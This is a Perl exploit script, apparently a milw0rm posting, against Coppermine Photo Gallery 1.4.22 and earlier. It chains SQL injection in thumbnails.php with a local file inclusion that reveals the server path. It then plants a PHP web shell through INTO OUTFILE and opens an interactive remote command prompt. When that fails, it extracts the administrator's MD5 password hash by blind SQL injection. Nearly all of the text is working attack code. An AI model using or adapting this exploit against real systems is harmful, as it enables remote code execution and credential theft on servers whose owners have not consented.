Coppermine Photo Gallery 1.4.22 - SQL Injection

#!/usr/bin/perl
# Coppermine Photo Gallery <= 1.4.22 Remote Exploit
# Need register_globals = on and magic_quotes_gpc = off
# Based on vulnerabilities discussed at http://www.milw0rm.org/exploits/8713
# Coded by girex

use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /gallery/\n\n";
     exit;
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

my $uid = '1';	# Change if need
my @chars  =  ('1'..'9', 'a'..'f'); 
my $injection = '<?php if(isset($_SERVER[HTTP_CMD])) {echo 12345; passthru(stripslashes($_SERVER[HTTP_CMD]));}?>';

banner();
$lwp->default_header('Accept-Language: en-us,en;q=0.5');

my $html = inj_request(' WHERE x');	# Wrong query to obtain an error

if(not defined $html)
{
    print "[-] Request mistake. Exploit terminated!\n";
    exit ();
}
elsif($html =~ /There was an error while processing a database query/)
{
    print "[+] Site vulnerable. Trying to retrieve absolute path...\n";
}
else
{
    print "[-] Site not vulnerable to SQL Injection in thumbnails.php\n";
    print "[-] Maybe magic_quotes = On or register_globals = Off\n";
    end_try();
}

# This LFI includes README.txt that contais php code with phpinfo() function.
my $res = $lwp->get("${target}index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00");

if($res->content =~ /<tr><td class=\"e\">_SERVER\[\"SCRIPT_FILENAME\"\]<\/td><td class=\"v\">(.*)index\.php<\/td><\/tr>/)
{
     $path_to = $1;
}
else
{
    print "[-] Unable to retrieve the absolute path. Problems with LFI.\n";
    end_try();
}

$html = inj_request("AND 1=2 UNION ALL SELECT '${injection}' INTO OUTFILE '${path_to}logs/log_db.inc.php");
my $res = $lwp->get($target.'logs/log_db.inc.php');

if($res->is_success)
{
    print "[+] Shell injected at ${path_to}logs/log_db.inc.php\n\n";
}
else
{
    print "[-] Shell upload failed, MySQL cannot write to logs path!\n\n";
    print "[+] Attempting to retrieve admin's md5..\n";
    blind_sql();

    if(length($hash) != 32)
    {
        print "\n\n[-] Exploit mistake: unable to retrieve admin's md5\n";
    }
    else
    { 
	print "\n";
    }

    end_try();
}
                                                          
while(1)
{
    print "[+] coppermine\@shell:~\$ ";
    chomp(my $cmd = <STDIN>);
    
    end_try() if $cmd eq 'exit';
     
    $lwp->default_header( 'CMD' => $cmd );
    my $res = $lwp->get($target.'logs/log_db.inc.php');
         
    if($res->is_success and $res->content =~ /12345/)
    {
        print "\n". substr($res->content, index($res->content, '12345') + 5)."\n";
    }
    else
    {
        print "[-] Something wrong, command execution failed!\n";
        last;
    }
}




sub inj_request
{
    my $sql = shift;
    my $res = $lwp->get($target. "thumbnails.php?lang=english&album=alpha&GLOBALS[cat]=999'+${sql}");

    if($res->is_success)
    {
	return $res->content;
    }

    return undef;
}

sub blind_sql
{
    our $hash = '';
    my $prefix = get_prefix() or 'cpg14x';
    my $username = get_username() or 'admin';

    $| = 1;
    print "[+] username: ${username} - md5 hash: ";

    for($i = 1; $i <= 32; $i++)
    {
	foreach $char(@chars)
	{
	    $html = inj_request("OR+SUBSTRING((SELECT+user_password+FROM+${prefix}_users+WHERE+user_id=${uid}),${i},1)='${char}'%23");
	
	    if($html =~ /The selected album\/file does not exist/)
	    {
		$hash .= $char;
                syswrite(STDOUT, $char, 1);
		last;
	    }
	}
    
	last if $i != length($hash);
    }   
}

sub get_prefix		# File update.php shows the query executed to update the tables, we can get table prefix from it
{
    my $rv = undef;
    my $res = $lwp->get($target.'update.php');
    
    if($res->is_success and $res->content =~ /CREATE TABLE IF NOT EXISTS (\w+)_sessions/)
    {
	$rv = $1;
    }

    return $rv;
}

sub get_username	
{
    my $rv = undef;
    my $res = $lwp->get($target."profile.php?lang=english&uid=${uid}");

    if($res->content =~ /<td class="tableh1" colspan="2">(.*)'s profile<\/td>/)
    {
	$rv = $1;
    }

    return $rv;
}

sub end_try
{
    my $res = $lwp->get($target.'register.php?lang=english');

    if($res->is_success and $res->content !~ /You don't have permission to access this page/)
    {
        print "\n[+] Target can be vulnerable to SQL Injection for registered users\n";
        print "[+] See http://www.milw0rm.org/exploits/8713 to know how to exploit it!\n\n";
    }
    else
    {
        print "\n[-] The target is NOT vulnerable to the SQL Injection for registered users\n\n";
    }

    exit;
}

sub banner
{
     print "\n[+] Coppermine Photo Gallery <= 1.4.22 Remote Exploit\n";
     print "[+] Coded by girex\n";
     print "\n";
}

# milw0rm.com [2009-05-19]